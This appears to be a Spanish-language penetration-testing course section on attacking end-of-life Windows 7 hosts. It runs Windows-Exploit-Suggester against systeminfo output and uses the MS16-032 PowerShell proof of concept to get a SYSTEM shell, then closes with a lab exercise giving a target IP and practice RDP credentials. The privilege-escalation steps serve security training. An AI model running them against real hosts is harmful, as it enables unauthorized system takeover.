📘Windows Desktop

Windows 7 finalizó su vida útil el 14 de enero de 2020, pero aún se utiliza en muchos entornos.

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Windows 7 frente a versiones más nuevas

Con el paso de los años, Microsoft ha ido añadiendo funciones de seguridad mejoradas a las versiones posteriores del escritorio de Windows. La siguiente tabla muestra algunas diferencias notables entre Windows 7 y Windows 10.

Característica	Windows 7	Windows 10
Contraseña de Microsoft (MFA)		incógnita
BitLocker	Parcial	incógnita
Guardia de credenciales		incógnita
Protección remota de credenciales		incógnita
Device Guard (integridad del código)		incógnita
Bloqueador de aplicaciones	Parcial	incógnita
Windows Defender	Parcial	incógnita
Protección de flujo de control		incógnita

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Caso práctico de Windows 7

Hasta la fecha, se estima que puede haber más de 100 millones de usuarios que todavía usan Windows 7. Según NetMarketShare , en noviembre de 2020, Windows 7 era el segundo sistema operativo de escritorio más utilizado después de Windows 10. Windows 7 es estándar en grandes empresas de los sectores de educación, comercio minorista, transporte, atención médica, finanzas, gobierno y fabricación.

Como se explicó en la última sección, como Pentesters, debemos comprender el negocio principal de nuestros clientes, su tolerancia al riesgo y las limitaciones que pueden impedirles abandonar por completo todas las versiones de sistemas EOL, como Windows 7. No es suficiente que simplemente les proporcionemos un resultado de un sistema EOL con la recomendación de actualizarlo o desmantelarlo sin ningún contexto. Deberíamos tener conversaciones constantes con nuestros clientes durante nuestras evaluaciones para comprender su entorno. Incluso si podemos atacar o escalar privilegios en un host Windows 7, puede haber pasos que un cliente pueda tomar para limitar la exposición hasta que pueda abandonar el sistema o los sistemas EOL.

Un gran cliente minorista puede tener dispositivos con Windows 7 integrado en cientos de sus tiendas que utilizan sus sistemas de punto de venta (POS). Puede que no sea financieramente viable para ellos actualizarlos todos a la vez, por lo que es posible que tengamos que trabajar con ellos para desarrollar soluciones que mitiguen el riesgo. Un gran bufete de abogados con un sistema Windows 7 antiguo puede actualizarlo inmediatamente o incluso eliminarlo de la red. El contexto es importante.

Veamos un host de Windows 7 que podemos descubrir en uno de los sectores mencionados anteriormente. Para nuestro objetivo de Windows 7, podemos volver a utilizar Sherlock como en el ejemplo de Server 2008, pero echemos un vistazo a Windows-Exploit-Suggester

Instalar dependencias de Python (en máquina virtual local)

Para que funcione en una máquina de atacante como Kali Linux, debemos hacer lo siguiente para instalar las dependencias necesarias.

afsh4ck@kali$ sudo wget https://files.pythonhosted.org/packages/28/84/27df240f3f8f52511965979aad7c7b77606f8fe41d4c90f2449e02172bb1/setuptools-2.0.tar.gz
afsh4ck@kali$ sudo tar -xf setuptools-2.0.tar.gz
afsh4ck@kali$ cd setuptools-2.0/
afsh4ck@kali$ sudo python2.7 setup.py install

afsh4ck@kali$ sudo wget https://files.pythonhosted.org/packages/42/85/25caf967c2d496067489e0bb32df069a8361e1fd96a7e9f35408e56b3aab/xlrd-1.0.0.tar.gz
afsh4ck@kali$ sudo tar -xf xlrd-1.0.0.tar.gz
afsh4ck@kali$ cd xlrd-1.0.0/
afsh4ck@kali$ sudo python2.7 setup.py install

Recopilación de la salida del comando Systeminfo

Una vez hecho esto, necesitamos capturar la salida del comando systeminfo y guardarlo en un archivo de texto en nuestra máquina virtual de ataque.

C:\htb> systeminfo

Host Name:                 WINLPE-WIN7
OS Name:                   Microsoft Windows 7 Professional
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          mrb3n
Registered Organization:
Product ID:                00371-222-9819843-86644
Original Install Date:     3/25/2021, 7:23:47 PM
System Boot Time:          5/13/2021, 5:14:12 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
                           [02]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows

<SNIP>

Actualizar la base de datos de vulnerabilidades local de Microsoft

A continuación, debemos actualizar nuestra copia local de la base de datos de vulnerabilidades de Microsoft. Este comando guardará el contenido en un archivo Excel local.

afsh4ck@kali$ sudo python2.7 windows-exploit-suggester.py --update

Ejecutar el Exploit Suggester en Windows

Una vez hecho esto, podemos ejecutar la herramienta en la base de datos de vulnerabilidades para verificar posibles fallas de escalada de privilegios.

afsh4ck@kali$ python2.7 windows-exploit-suggester.py  --database 2021-05-13-mssb.xls --systeminfo win7lpe-systeminfo.txt 

[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 3 hotfix(es) against the 386 potential bulletins(s) with a database of 137 known exploits
[*] there are now 386 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 7 SP1 64-bit'
[*] 
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*]   https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*]   https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*]   https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*] 
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*]   https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*] 
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*]   https://github.com/foxglovesec/RottenPotato
[*]   https://github.com/Kevin-Robertson/Tater
[*]   https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*]   https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*] 
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*]   https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*]   https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*] 
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*]   https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC
[*] 
[E] MS16-059: Security Update for Windows Media Center (3150220) - Important
[*]   https://www.exploit-db.com/exploits/39805/ -- Microsoft Windows Media Center - .MCL File Processing Remote Code Execution (MS16-059), PoC
[*] 
[E] MS16-056: Security Update for Windows Journal (3156761) - Critical
[*]   https://www.exploit-db.com/exploits/40881/ -- Microsoft Internet Explorer - jscript9 Java­Script­Stack­Walker Memory Corruption (MS15-056)
[*]   http://blog.skylined.nl/20161206001.html -- MSIE jscript9 Java­Script­Stack­Walker memory corruption
[*] 
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*]   https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*]   https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*]   https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)
[*] 

<SNIP>

[*] 
[M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical
[M] MS14-009: Vulnerabilities in .NET Framework Could Allow Elevation of Privilege (2916607) - Important
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-097: Cumulative Security Update for Internet Explorer (2898785) - Critical
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical
[M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical
[M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical
[M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical
[M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*] 
[*] done

Supongamos que hemos obtenido un shell de Meterpreter en nuestro objetivo utilizando el marco Metasploit. En ese caso, también podemos utilizar este módulo de sugerencia de exploits local que nos ayudará a encontrar rápidamente cualquier vector de escalada de privilegios potencial y ejecutarlo dentro de Metasploit si existe algún módulo.

Al analizar los resultados, podemos ver una lista bastante extensa, algunos módulos de Metasploit y algunos exploits PoC independientes. Debemos filtrar el ruido, eliminar cualquier exploit de denegación de servicio y los exploits que no tengan sentido para nuestro sistema operativo de destino. Uno que se destaca de inmediato como interesante es MS16-032. Puede encontrar una explicación detallada de este error en esta publicación del blog de Project Zero, que es un error en el servicio de inicio de sesión secundario.

Explotación de MS16-032 con PowerShell PoC

Utilicemos una PoC de PowerShell para intentar explotar esto y elevar nuestros privilegios.

PS C:\htb> Set-ExecutionPolicy bypass -scope process

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic. Do you want to change the execution
policy?
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): A
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): Y


PS C:\htb> Import-Module .\Invoke-MS16-032.ps1
PS C:\htb> Invoke-MS16-032

         __ __ ___ ___   ___     ___ ___ ___
        |  V  |  _|_  | |  _|___|   |_  |_  |
        |     |_  |_| |_| . |___| | |_  |  _|
        |_|_|_|___|_____|___|   |___|___|___|

                       [by b33f -> @FuzzySec]

[?] Operating system core count: 6
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 1656

[*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 1652
[+] Resuming thread..

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

Recibimos una Shell SYSTEM

Esto funciona y generamos una consola cmd SYSTEM.

Versiones de escritorio de Windows

C:\htb> whoami

nt authority\system

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Caso práctico

Atacando a Windows 7

Tomando los ejemplos de enumeración que hemos visto en este módulo, acceda al sistema que se muestra a continuación, busque una forma de escalar al nivel de acceso NT AUTHORITY\SYSTEM (puede haber más de una forma) y envíe el archivo flag.txt en el escritorio del Administrador.

Objetivo: 10.129.43.43 (ACADEMY-WINLPE-SRV01)

RDP con el usuario "htb-student" y contraseña "HTB_@cademy_stdnt!"